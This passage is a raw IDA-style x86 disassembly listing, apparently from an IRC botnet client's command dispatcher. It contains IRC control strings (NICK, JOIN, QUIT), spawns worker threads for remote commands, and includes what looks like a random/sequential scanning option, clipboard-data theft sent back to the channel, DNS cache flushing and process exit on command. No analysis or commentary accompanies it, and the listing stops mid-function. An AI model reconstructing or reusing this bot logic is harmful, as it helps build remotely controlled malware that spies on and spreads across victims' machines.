loc_4116D2: ; CODE XREF: sub_40CD3A+4978j
mov eax, [ebp+var_A8]
lea esi, [eax+1]
jmp short loc_411749
; ---------------------------------------------------------------------------
loc_4116DD: ; CODE XREF: sub_40CD3A+4A12j
mov edi, [ebp+esi*4+var_94]
cmp edi, ebx
jz loc_40D18F
push edi
call sub_41587F
push eax
call sub_414F15
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp+var_2D8]
jz short loc_41170C
push offset dword_434388
jmp short loc_411711
; ---------------------------------------------------------------------------
loc_41170C: ; CODE XREF: sub_40CD3A+49C9j
push offset dword_434348
loc_411711: ; CODE XREF: sub_40CD3A+49D0j
push eax
call sub_415316
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_41173B
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_41173B: ; CODE XREF: sub_40CD3A+49E3j
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
pop ecx
inc esi
loc_411749: ; CODE XREF: sub_40CD3A+49A1j
cmp esi, 20h
jb short loc_4116DD
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_411753: ; CODE XREF: sub_40CD3A+181Fj
; sub_40CD3A+1836j
cmp [ebp+var_C], ebx
jz loc_412818
push edi
push [ebp+var_C]
call sub_4158E0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412818
push esi
push offset dword_425090
push [ebp+arg_4]
call sub_412B8B
push esi
push offset dword_43431C
jmp short loc_4117D1
; ---------------------------------------------------------------------------
loc_411787: ; CODE XREF: sub_40CD3A+17F1j
; sub_40CD3A+1808j
push edi
push offset dword_434A84
push [ebp+arg_4]
call sub_412B8B
push edi
push offset dword_4342E8
jmp short loc_4117D1
; ---------------------------------------------------------------------------
loc_41179D: ; CODE XREF: sub_40CD3A+17C3j
; sub_40CD3A+17DAj
push [ebp+esi+var_8C]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push edi
push offset dword_4342B4
jmp loc_410D83
; ---------------------------------------------------------------------------
loc_4117BD: ; CODE XREF: sub_40CD3A+1795j
; sub_40CD3A+17ACj
push edi
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push edi
push offset dword_43427C
loc_4117D1: ; CODE XREF: sub_40CD3A+4172j
; sub_40CD3A+4A4Bj ...
call sub_40B0EC
loc_4117D6: ; CODE XREF: sub_40CD3A+41D8j
add esp, 14h
jmp loc_412818
; ---------------------------------------------------------------------------
loc_4117DE: ; CODE XREF: sub_40CD3A+175Aj
; sub_40CD3A+176Fj
mov al, byte_4276EE
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_4276EE
jz loc_40D18F
mov ecx, edx
loc_4117F5: ; CODE XREF: sub_40CD3A+4AC3j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4117F5
cmp al, bl
jz loc_40D18F
mov [ebp+arg_18], edx
loc_41180A: ; CODE XREF: sub_40CD3A+4D7Cj
push 8
call sub_41501C
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
add eax, ecx
cmp eax, 12Ch
jle short loc_411859
push ecx
lea eax, [ebp+var_2D8]
push offset dword_435460
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 20h
jmp loc_411AAD
; ---------------------------------------------------------------------------
loc_411859: ; CODE XREF: sub_40CD3A+4AEAj
or [ebp+var_458], 0FFFFFFFFh
cmp dword_427388, ebx
mov [ebp+var_45C], 1Eh
mov [ebp+var_470], 7
mov [ebp+var_46C], 0B4h
mov [ebp+arg_0], ebx
jz short loc_4118CA
mov eax, [ebp+arg_18]
mov edi, offset dword_427388
lea esi, [eax-0Ah]
loc_411894: ; CODE XREF: sub_40CD3A+4B72j
lea eax, [edi-28h]
push esi
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_4118B0
inc [ebp+arg_0]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_411894
jmp short loc_4118CA
; ---------------------------------------------------------------------------
loc_4118B0: ; CODE XREF: sub_40CD3A+4B68j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_458], eax
imul ecx, 3Ch
mov ecx, dword_427388[ecx]
mov [ebp+var_474], ecx
loc_4118CA: ; CODE XREF: sub_40CD3A+4B4Dj
; sub_40CD3A+4B74j
cmp [ebp+var_474], ebx
jz loc_411AD3
push 10h
lea eax, [ebp+arg_10]
pop esi
push eax
lea eax, [ebp+var_D0]
push eax
mov [ebp+arg_10], esi
push [ebp+arg_4]
call dword_43C9C8 ; getsockname
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_CC], eax
push [ebp+var_CC]
call dword_43CAB0 ; inet_ntoa
push eax
lea eax, [ebp+var_588]
push eax
call sub_416BE0
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_588]
push eax
call sub_416EE0
add esp, 14h
cmp edi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_41196C
loc_41194A: ; CODE XREF: sub_40CD3A+4C30j
cmp eax, ebx
jz short loc_41196C
mov byte ptr [eax], 78h
lea eax, [ebp+var_588]
push 30h
push eax
call sub_416EE0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_41194A
loc_41196C: ; CODE XREF: sub_40CD3A+4C0Ej
; sub_40CD3A+4C12j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov esi, [ebp+var_4]
mov [ebp+var_478], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_44C], eax
lea eax, [ebp+var_578]
push eax
mov [ebp+var_448], 1
mov [ebp+var_450], esi
call sub_41588A
mov edi, offset dword_42C300
push offset byte_43B658
push edi
call sub_415730
add esp, 14h
test eax, eax
jz short loc_4119D6
push edi
lea eax, [ebp+var_4F8]
push 80h
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_4119DC
; ---------------------------------------------------------------------------
loc_4119D6: ; CODE XREF: sub_40CD3A+4C83j
mov [ebp+var_4F8], bl
loc_4119DC: ; CODE XREF: sub_40CD3A+4C9Aj
cmp [ebp+var_448], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_4119EE
mov eax, offset aSequential ; "Sequential"
loc_4119EE: ; CODE XREF: sub_40CD3A+4CADj
push [ebp+var_45C]
lea ecx, [ebp+var_588]
push [ebp+var_46C]
push [ebp+var_470]
push [ebp+var_474]
push ecx
push eax
lea eax, [ebp+var_2D8]
push offset dword_434200
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 8
push eax
call sub_414DDA
add esp, 2Ch
mov [ebp+var_468], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_588]
push ebx
push eax
push offset sub_4078DF
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_468]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_411AC9
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D8]
push offset dword_435330
push eax
call sub_415316
add esp, 0Ch
loc_411A81: ; CODE XREF: sub_40CD3A+4D97j
cmp [ebp+var_8], ebx
jnz short loc_411AA0
push ebx
lea eax, [ebp+var_2D8]
push esi
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_411AA0: ; CODE XREF: sub_40CD3A+4D4Aj
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
pop ecx
loc_411AAD: ; CODE XREF: sub_40CD3A+4B1Aj
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_41180A
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_411AC1: ; CODE XREF: sub_40CD3A+4D95j
push 32h
call dword_421060 ; Sleep
loc_411AC9: ; CODE XREF: sub_40CD3A+4D2Aj
cmp [ebp+var_444], ebx
jz short loc_411AC1
jmp short loc_411A81
; ---------------------------------------------------------------------------
loc_411AD3: ; CODE XREF: sub_40CD3A+2F3Fj
; sub_40CD3A+4B96j
push offset dword_4341B0
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_411ADD: ; CODE XREF: sub_40CD3A+1730j
; sub_40CD3A+1745j
push 4
call sub_41501C
test eax, eax
pop ecx
jle short loc_411AF3
push offset unk_43417C
jmp loc_40F8E8
; ---------------------------------------------------------------------------
loc_411AF3: ; CODE XREF: sub_40CD3A+4DADj
mov eax, [ebp+esi+var_90]
mov edi, 104h
cmp eax, ebx
jz short loc_411B16
push eax
lea eax, [ebp+var_1428]
push edi
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_411B25
; ---------------------------------------------------------------------------
loc_411B16: ; CODE XREF: sub_40CD3A+4DC7j
lea eax, [ebp+var_1428]
push edi
push eax
push ebx
call dword_42107C ; GetModuleFileNameA
loc_411B25: ; CODE XREF: sub_40CD3A+4DDAj
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jnz short loc_411B35
mov esi, offset byte_42C2B4
loc_411B35: ; CODE XREF: sub_40CD3A+4DF4j
push esi
lea eax, [ebp+var_1324]
push edi
push eax
call sub_41588A
mov eax, dword_42C244
push 7Fh
push [ebp+var_8C]
mov [ebp+var_1218], eax
mov eax, [ebp+arg_4]
mov [ebp+var_121C], ebx
mov [ebp+var_142C], eax
lea eax, [ebp+var_1214]
push eax
call sub_416BE0
mov eax, [ebp+var_4]
mov [ebp+var_1194], eax
mov eax, [ebp+var_8]
mov [ebp+var_1190], eax
lea eax, [ebp+var_1324]
push eax
lea eax, [ebp+var_1428]
push eax
lea eax, [ebp+var_2D8]
push [ebp+var_1218]
push offset unk_427948
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 4
push eax
call sub_414DDA
add esp, 38h
mov [ebp+var_1220], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_142C]
push ebx
push eax
push offset sub_406B84
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_1220]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_411C08
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_434130
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_411C00: ; CODE XREF: sub_40CD3A+4ED4j
push 32h
call dword_421060 ; Sleep
loc_411C08: ; CODE XREF: sub_40CD3A+4EB3j
cmp [ebp+var_118C], ebx
jz short loc_411C00
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_411C15: ; CODE XREF: sub_40CD3A+1706j
; sub_40CD3A+171Bj
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_411C34
push edi
call sub_41587F
test eax, eax
pop ecx
jz short loc_411C34
push edi
call sub_41587F
pop ecx
jmp short loc_411C39
; ---------------------------------------------------------------------------
loc_411C34: ; CODE XREF: sub_40CD3A+4EE4j
; sub_40CD3A+4EEFj
mov eax, dword_42C248
loc_411C39: ; CODE XREF: sub_40CD3A+4EF8j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_B30], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_B1C], eax
jz short loc_411C6C
lea eax, [ebp+var_C34]
push esi
push eax
call sub_415316
pop ecx
pop ecx
jmp short loc_411C97
; ---------------------------------------------------------------------------
loc_411C6C: ; CODE XREF: sub_40CD3A+4F1Fj
lea eax, [ebp+var_A80]
push 104h
push eax
call dword_421058 ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_CC]
push ebx
push eax
lea eax, [ebp+var_A80]
push eax
call sub_4171E8
add esp, 14h
loc_411C97: ; CODE XREF: sub_40CD3A+4F30j
lea eax, [ebp+var_C34]
push eax
call sub_415B10
cmp [ebp+eax+var_C35], 5Ch
pop ecx
jnz short loc_411CC2
lea eax, [ebp+var_C34]
push eax
call sub_415B10
pop ecx
mov [ebp+eax+var_C35], bl
loc_411CC2: ; CODE XREF: sub_40CD3A+4F72j
push [ebp+var_8C]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_EBC]
mov [ebp+var_EC0], esi
push 80h
push eax
call sub_41588A
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_B20], eax
lea eax, [ebp+var_C34]
mov [ebp+var_B24], edi
push eax
push [ebp+var_B30]
push esi
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_2D8]
push offset unk_427810
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 3
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_B28], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC0]
push ebx
push eax
push offset sub_405A96
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_B28]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_411DA5
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4340E0
loc_411D70: ; CODE XREF: sub_40CD3A+343Fj
; sub_40CD3A+3538j
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 0Ch
loc_411D7F: ; CODE XREF: sub_40CD3A+3454j
; sub_40CD3A+354Dj ...
cmp [ebp+var_8], ebx
jnz loc_40D68B
push ebx
push edi
loc_411D8A: ; CODE XREF: sub_40CD3A+3887j
lea eax, [ebp+var_2D8]
push eax
push [ebp+var_8C]
push esi
jmp loc_40F913
; ---------------------------------------------------------------------------
loc_411D9D: ; CODE XREF: sub_40CD3A+5071j
push 32h
call dword_421060 ; Sleep
loc_411DA5: ; CODE XREF: sub_40CD3A+5028j
cmp [ebp+var_B14], ebx
jz short loc_411D9D
jmp short loc_411D7F
; ---------------------------------------------------------------------------
loc_411DAF: ; CODE XREF: sub_40CD3A+16DCj
; sub_40CD3A+16F1j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_411DC2
push esi
call sub_41587F
jmp short loc_411DC9
; ---------------------------------------------------------------------------
loc_411DC2: ; CODE XREF: sub_40CD3A+507Ej
push 8
call sub_41503B
loc_411DC9: ; CODE XREF: sub_40CD3A+5086j
cmp eax, ebx
pop ecx
jz loc_412818
push eax
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40713F
jmp loc_41229A
; ---------------------------------------------------------------------------
loc_411DE9: ; CODE XREF: sub_40CD3A+16B2j
; sub_40CD3A+16C7j
mov eax, dword_43C94C
cmp eax, ebx
jz short loc_411E0C
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_411E05
push offset unk_4340A8
jmp short loc_411E2D
; ---------------------------------------------------------------------------
loc_411E05: ; CODE XREF: sub_40CD3A+50C2j
push offset unk_434068
jmp short loc_411E2D
; ---------------------------------------------------------------------------
loc_411E0C: ; CODE XREF: sub_40CD3A+50B6j
push offset unk_434028
lea eax, [ebp+var_2D8]
jmp short loc_411E2D
; ---------------------------------------------------------------------------
loc_411E19: ; CODE XREF: sub_40CD3A+1688j
; sub_40CD3A+169Dj
call sub_409FB2
test eax, eax
lea eax, [ebp+var_2D8]
jz short loc_411E3D
push offset unk_433FF0
loc_411E2D: ; CODE XREF: sub_40CD3A+50C9j
; sub_40CD3A+50D0j ...
push 200h
push eax
call sub_41588A
jmp loc_40F523
; ---------------------------------------------------------------------------
loc_411E3D: ; CODE XREF: sub_40CD3A+50ECj
push offset unk_433FB0
jmp short loc_411E2D
; ---------------------------------------------------------------------------
loc_411E44: ; CODE XREF: sub_40CD3A+165Ej
; sub_40CD3A+1673j
cmp [ebp+var_8], ebx
jnz short loc_411E63
push ebx
push [ebp+var_4]
push offset aClipboardData ; "-[Clipboard Data]-"
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_411E63: ; CODE XREF: sub_40CD3A+510Dj
push ebx
push [ebp+var_4]
call sub_409BB1
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push offset dword_433F6C
jmp loc_412167
; ---------------------------------------------------------------------------
loc_411E85: ; CODE XREF: sub_40CD3A+1584j
; sub_40CD3A+1599j
push 7
call sub_41501C
test eax, eax
pop ecx
jle short loc_411E98
push offset dword_433F30
jmp short loc_411EB9
; ---------------------------------------------------------------------------
loc_411E98: ; CODE XREF: sub_40CD3A+5155j
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40A71A
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_411EB4
push offset dword_433EF4
jmp short loc_411EB9
; ---------------------------------------------------------------------------
loc_411EB4: ; CODE XREF: sub_40CD3A+5171j
push offset dword_433EC0
loc_411EB9: ; CODE XREF: sub_40CD3A+4993j
; sub_40CD3A+515Cj ...
lea eax, [ebp+var_2D8]
push eax
call sub_415316
pop ecx
pop ecx
jmp loc_40F5D2
; ---------------------------------------------------------------------------
loc_411ECC: ; CODE XREF: sub_40CD3A+155Aj
; sub_40CD3A+156Fj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_4095A9
jmp loc_412188
; ---------------------------------------------------------------------------
loc_411EE5: ; CODE XREF: sub_40CD3A+1530j
; sub_40CD3A+1545j
push [ebp+esi+var_90]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40C409
jmp loc_412188
; ---------------------------------------------------------------------------
loc_411F02: ; CODE XREF: sub_40CD3A+1506j
; sub_40CD3A+151Bj
or edi, 0FFFFFFFFh
call dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_411F2B
push esi
call sub_41587F
pop ecx
mov edi, eax
loc_411F2B: ; CODE XREF: sub_40CD3A+51E6j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_411F44
cmp edi, 0FFFFFFFFh
jnz loc_412818
loc_411F44: ; CODE XREF: sub_40CD3A+51FFj
push ebx
call sub_40A8CF
push eax
lea eax, [ebp+var_2D8]
push offset dword_433E94
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
loc_411F81: ; CODE XREF: sub_40CD3A+328Dj
add esp, 28h
jmp loc_412818
; ---------------------------------------------------------------------------
loc_411F89: ; CODE XREF: sub_40CD3A+14DCj
; sub_40CD3A+14F1j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_408503
lea eax, [ebp+var_2D8]
push offset unk_433E60
push eax
call sub_415316
loc_411FAB: ; CODE XREF: sub_40CD3A+3AAAj
add esp, 14h
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_411FB3: ; CODE XREF: sub_40CD3A+14B2j
; sub_40CD3A+14C7j
push 1Eh
call sub_41501C
test eax, eax
pop ecx
jle short loc_411FE7
cmp [ebp+var_8], ebx
jnz loc_40D18F
push ebx
push [ebp+var_4]
push offset dword_433E2C
push [ebp+var_8C]
loc_411FD7: ; CODE XREF: sub_40CD3A+8D9j
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_411FE7: ; CODE XREF: sub_40CD3A+5283j
push [ebp+var_8C]
lea eax, [ebp+var_36C]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_370], eax
mov eax, [ebp+var_4]
mov [ebp+var_2E4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_2E0], eax
mov [ebp+var_2E8], ebx
jz short loc_412048
push esi
push offset aFull ; "full"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_412048
mov [ebp+var_2E8], 1
loc_412048: ; CODE XREF: sub_40CD3A+52F1j
; sub_40CD3A+5302j
lea eax, [ebp+var_2D8]
push offset dword_433DF0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 1Eh
push eax
call sub_414DDA
add esp, 14h
mov [ebp+var_2EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_370]
push ebx
push eax
push offset sub_413DFD
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2EC]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_4120C8
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D8]
push offset dword_433DA0
push eax
call sub_415316
add esp, 0Ch
jmp loc_40F5F3
; ---------------------------------------------------------------------------
loc_4120C0: ; CODE XREF: sub_40CD3A+5394j
push 32h
call dword_421060 ; Sleep
loc_4120C8: ; CODE XREF: sub_40CD3A+5364j
cmp [ebp+var_2DC], ebx
jz short loc_4120C0
jmp loc_40F5F3
; ---------------------------------------------------------------------------
loc_4120D5: ; CODE XREF: sub_40CD3A+1488j
; sub_40CD3A+149Dj
cmp [ebp+var_8], ebx
jnz short loc_4120F4
push ebx
push [ebp+var_4]
push offset dword_433D70
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_4120F4: ; CODE XREF: sub_40CD3A+539Ej
push [ebp+arg_4]
call dword_43CABC ; closesocket
call dword_43C984 ; WSACleanup
call sub_409D34
push ebx
call dword_421114 ; ExitProcess
loc_41210F: ; CODE XREF: sub_40CD3A+145Ej
; sub_40CD3A+1473j
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_40A9D8
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push offset dword_433D44
jmp short loc_412167
; ---------------------------------------------------------------------------
loc_41213A: ; CODE XREF: sub_40CD3A+1434j
; sub_40CD3A+1449j
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40AC8C
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push offset dword_433D18
loc_412167: ; CODE XREF: sub_40CD3A+5146j
; sub_40CD3A+53FEj
call sub_40B078
loc_41216C: ; CODE XREF: sub_40CD3A+404Ej
add esp, 18h
jmp loc_412818
; ---------------------------------------------------------------------------
loc_412174: ; CODE XREF: sub_40CD3A+140Aj
; sub_40CD3A+141Fj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B118
loc_412188: ; CODE XREF: sub_40CD3A+3A9j
; sub_40CD3A+51A6j ...
add esp, 10h
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_412190: ; CODE XREF: sub_40CD3A+13E0j
; sub_40CD3A+13F5j
cmp [ebp+var_C], ebx
mov [ebp+var_A0C], bl
jz short loc_4121CF
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4121CF
push esi
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4121CF
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_A0C]
push 80h
push eax
call sub_41588A
add esp, 10h
loc_4121CF: ; CODE XREF: sub_40CD3A+545Fj
; sub_40CD3A+546Aj ...
push [ebp+var_8C]
lea eax, [ebp+var_A8C]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
push offset dword_433CEC
mov [ebp+var_A90], eax
mov eax, [ebp+var_4]
mov [ebp+var_988], eax
mov eax, [ebp+var_8]
mov [ebp+var_984], eax
lea eax, [ebp+var_2D8]
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 1Ch
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_98C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A90]
push ebx
push eax
push offset sub_40B18A
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_98C]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_412272
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_433CA0
jmp loc_412993
; ---------------------------------------------------------------------------
loc_41226A: ; CODE XREF: sub_40CD3A+553Ej
push 32h
call dword_421060 ; Sleep
loc_412272: ; CODE XREF: sub_40CD3A+551Dj
cmp [ebp+var_980], ebx
jz short loc_41226A
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_41227F: ; CODE XREF: sub_40CD3A+13B6j
; sub_40CD3A+13CBj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B000
push offset dword_433C70
call sub_40B078
loc_41229A: ; CODE XREF: sub_40CD3A+50AAj
add esp, 10h
jmp loc_412818
; ---------------------------------------------------------------------------
loc_4122A2: ; CODE XREF: sub_40CD3A+138Cj
; sub_40CD3A+13A1j
push [ebp+var_8C]
lea eax, [ebp+var_404]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_408], eax
mov eax, [ebp+var_4]
mov [ebp+var_37C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_378], eax
jz short loc_4122FC
push offset dword_433C6C
push esi
call sub_415730
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_380], eax
jmp short loc_412302
; ---------------------------------------------------------------------------
loc_4122FC: ; CODE XREF: sub_40CD3A+55A6j
mov [ebp+var_380], ebx
loc_412302: ; CODE XREF: sub_40CD3A+55C0j
lea eax, [ebp+var_2D8]
push offset dword_433C3C
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 1Fh
push eax
call sub_414DDA
add esp, 14h
mov [ebp+var_384], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_414E45
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_384]
imul ecx, 234h
cmp eax, ebx
mov dword_441BAC[ecx], eax
jnz short loc_412373
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_433BF0
jmp loc_411308
; ---------------------------------------------------------------------------
loc_41236B: ; CODE XREF: sub_40CD3A+563Fj
push 32h
call dword_421060 ; Sleep
loc_412373: ; CODE XREF: sub_40CD3A+561Ej
cmp [ebp+var_374], ebx
jz short loc_41236B
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_412380: ; CODE XREF: sub_40CD3A+1310j
; sub_40CD3A+1325j
push offset aIds99 ; "ids99"
lea eax, [ebp+var_2D8]
push offset dword_433BC4
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 20h
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_4123B7: ; CODE XREF: sub_40CD3A+12E6j
; sub_40CD3A+12FBj
push dword_46AE88
call sub_40A8CF
push eax
lea eax, [ebp+var_2D8]
push offset dword_433B84
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 24h
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_4123F5: ; CODE XREF: sub_40CD3A+12BCj
; sub_40CD3A+12D1j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412427
cmp [ebp+var_C], ebx
jz short loc_412436
push esi
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412436
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_412B8B
add esp, 0Ch
jmp short loc_412436
; ---------------------------------------------------------------------------
loc_412427: ; CODE XREF: sub_40CD3A+56C4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_412B8B
pop ecx
pop ecx
loc_412436: ; CODE XREF: sub_40CD3A+56C9j
; sub_40CD3A+56D8j ...
push 0FFFFFFFEh
pop eax
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_41243E: ; CODE XREF: sub_40CD3A+1292j
; sub_40CD3A+12A7j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_412B8B
push offset dword_433B30
call sub_40B078
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_412460: ; CODE XREF: sub_40CD3A+1268j
; sub_40CD3A+127Dj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_412B8B
push offset dword_433AEC
call sub_40B078
add esp, 0Ch
xor eax, eax
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_412481: ; CODE XREF: sub_40CD3A+123Ej
; sub_40CD3A+1253j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_407075
loc_412492: ; CODE XREF: sub_40CD3A+3FBAj
add esp, 0Ch
jmp loc_412818
; ---------------------------------------------------------------------------
loc_41249A: ; CODE XREF: sub_40CD3A+1199j
; sub_40CD3A+11AEj
push [ebp+esi+var_90]
push 1Eh
push offset dword_433ADC
push offset dword_433AD0
jmp short loc_4124C2
; ---------------------------------------------------------------------------
loc_4124AF: ; CODE XREF: sub_40CD3A+116Fj
; sub_40CD3A+1184j
push [ebp+esi+var_90]
